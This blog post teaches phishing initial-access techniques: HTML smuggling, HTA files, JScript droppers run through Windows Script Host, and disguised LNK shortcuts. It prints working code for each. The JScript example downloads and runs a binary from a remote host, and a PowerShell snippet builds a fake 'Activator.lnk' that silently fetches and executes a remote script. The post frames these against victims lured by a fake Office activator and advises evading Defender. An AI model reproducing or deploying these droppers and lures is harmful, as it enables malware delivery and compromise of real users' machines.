Introduction
Following up on the first part of the series, this blog post will expand and showcase techniques for initial access with client-side code execution.
A technique that recently gained popularity is HTML Smuggling, which consists of storing a payload file in a JavaScript blob and delivered through a seemingly normal web page. Both the code and file contents are often heavily obfuscated and encoded or encrypted to go around content filters along with other security solutions, the payload is then processed dynamically and dropped to disk.
Many variations and approaches to this technique have been seen in the wild, such as APT29‘s embedded ISO file or QakBot‘s ZIP file. Let’s then explore possibilities for leveraging this technique.
Malware Hiding in Plain Sight
The initial delivery could be done in numerous different ways and can vary depending on your target. Let’s adjust the scope and focus on the technical details.
The bare-metal structure for the HTML lure would look like the following.
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var bstring = window.atob(base64);
var len = bstring.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) {
bytes[i] = bstring.charCodeAt(i);
}
return bytes.buffer;
}
var file ='' // Base64 encoded payload file
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'Notmalware.zip';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
Using the example of a Microsoft Office activator, which is rather common for people to look for, a redirection could be included within the smuggling functionality to send the victim to an official Microsoft page after downloading the file, which may give the impression that the file came from there. One could even try to simulate a Microsoft page or e-mail with a similar appearance and domain, when it comes to creativity sky is the limit.
Pick Your Poison
With the infrastructure and functionality in place, one has to choose a payload approach and structure. Yet again, there are many alternatives, including:
- HTML Application (HTA) files
- JScript files leveraging Windows Script Host
- Shortcut or Link (LNK) files for dropping further payloads or calling a beacon
- Compressing the payload into a ZIP file to be more discreet
Let’s then go over each approach and showcase their specifics.
Microsoft HTML Applications
MSHTA is a well-known vector that works by executing .hta files with the native mshta.exe application. Those files can include embedded JScript or VBS code, which will then be parsed and executed.
A simple HTA file structure would be as follows.
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
MSHTA is capable of fetching remote scripts, however, as would be expected, it gets caught by Defender immediately.
This could be further customized and combined with other techniques, such as an LNK file pointing to MSHTA, where it may aid in evasion.
JScript and Windows Script Host
In a nutshell, JScript is a Microsoft dialect of JavaScript, intended to be used in Internet Explorer. However, it can also be executed outside of browsers with WSH, offering the opportunity for client-side code execution.
This approach ends up being a good alternative for phishing, due to its ease of execution. In older Windows versions, .js files were executed through WSH by default. This apparently has changed since, however, Windows 11 will still execute .jse files, by default, through WSH.
An example of a JScript file would be as follows.
var operation = new ActiveXObject("Wscript.Shell")
var run = operation.Run("calc.exe");
This can then be extended to call a remote PowerShell script or to act as a dropper for DLLs or binaries, MSXML can also be proxy-aware if needed.
var url = "http://192.168.0.7/binary.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', url, false);
Object.Send();
if (Object.Status == 200){
var Stream = WScript.CreateObject('ADODB.Stream');
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.Position = 0;
}
var path = "C:\\Windows\\Tasks\\binary.exe"
Stream.SaveToFile(path, 2);
Stream.Close();
var r = new ActiveXObject("WScript.Shell").Run(path);
It is worth mentioning that this script itself will get caught by Defender, so further customization is necessary – including the script/DLL/binary you intend to execute.
Windows Shortcut Files
LNK files have recently increased in popularity, where not only they can be used for initial access but also modified from a post-exploitation perspective.
The idea is to create a shortcut file pointing to a custom command of your choice, the shortcut can be customized to imitate a legitimate application or simulate a launcher for arbitrary purposes.
An LNK file can be created with PowerShell as follows.
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("C:\Users\windeveloper\Desktop\Activator.lnk")
$shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$shortcut.Arguments = "-nop -ep bypass -w hidden iex (iwr http://192.168.0.7/notmalware)"
$shortcut.IconLocation = "C:\Program Files (x86)\Microsoft Office\root\Office16\protocolhandler.exe"
$shortcut.Save()
Building upon the Office activator example mentioned above, one could provide this shortcut with a custom name and icon, pointing to both a real Office application and a payload.
The shortcut itself, even when scanned, shouldn’t raise any alerts. However, there’s one caveat that has to be taken into account, which is that by hovering the mouse on top of the shortcut the victim will be able to see the custom command that the file is pointing to.
Closing Thoughts
This blog post expanded upon techniques for initial access and foothold, and as always, there is great room for improvement.
The techniques here described can (and should) be combined and customized for a better output depending on your target, in addition to evading commonly employed security solutions.
As already mentioned, such techniques can be easily caught, even by Defender, if employed as is. Adding convincible pretext and good appearances is a must to convince the victim to follow your procedures and to make sure that your final payload/beacon gets executed.
Defense mechanisms besides Defender should also be taken into account, such as AppLocker, PowerShell’s Constrained Language Mode and even monitoring solutions.
References and Further Reading
0 Comments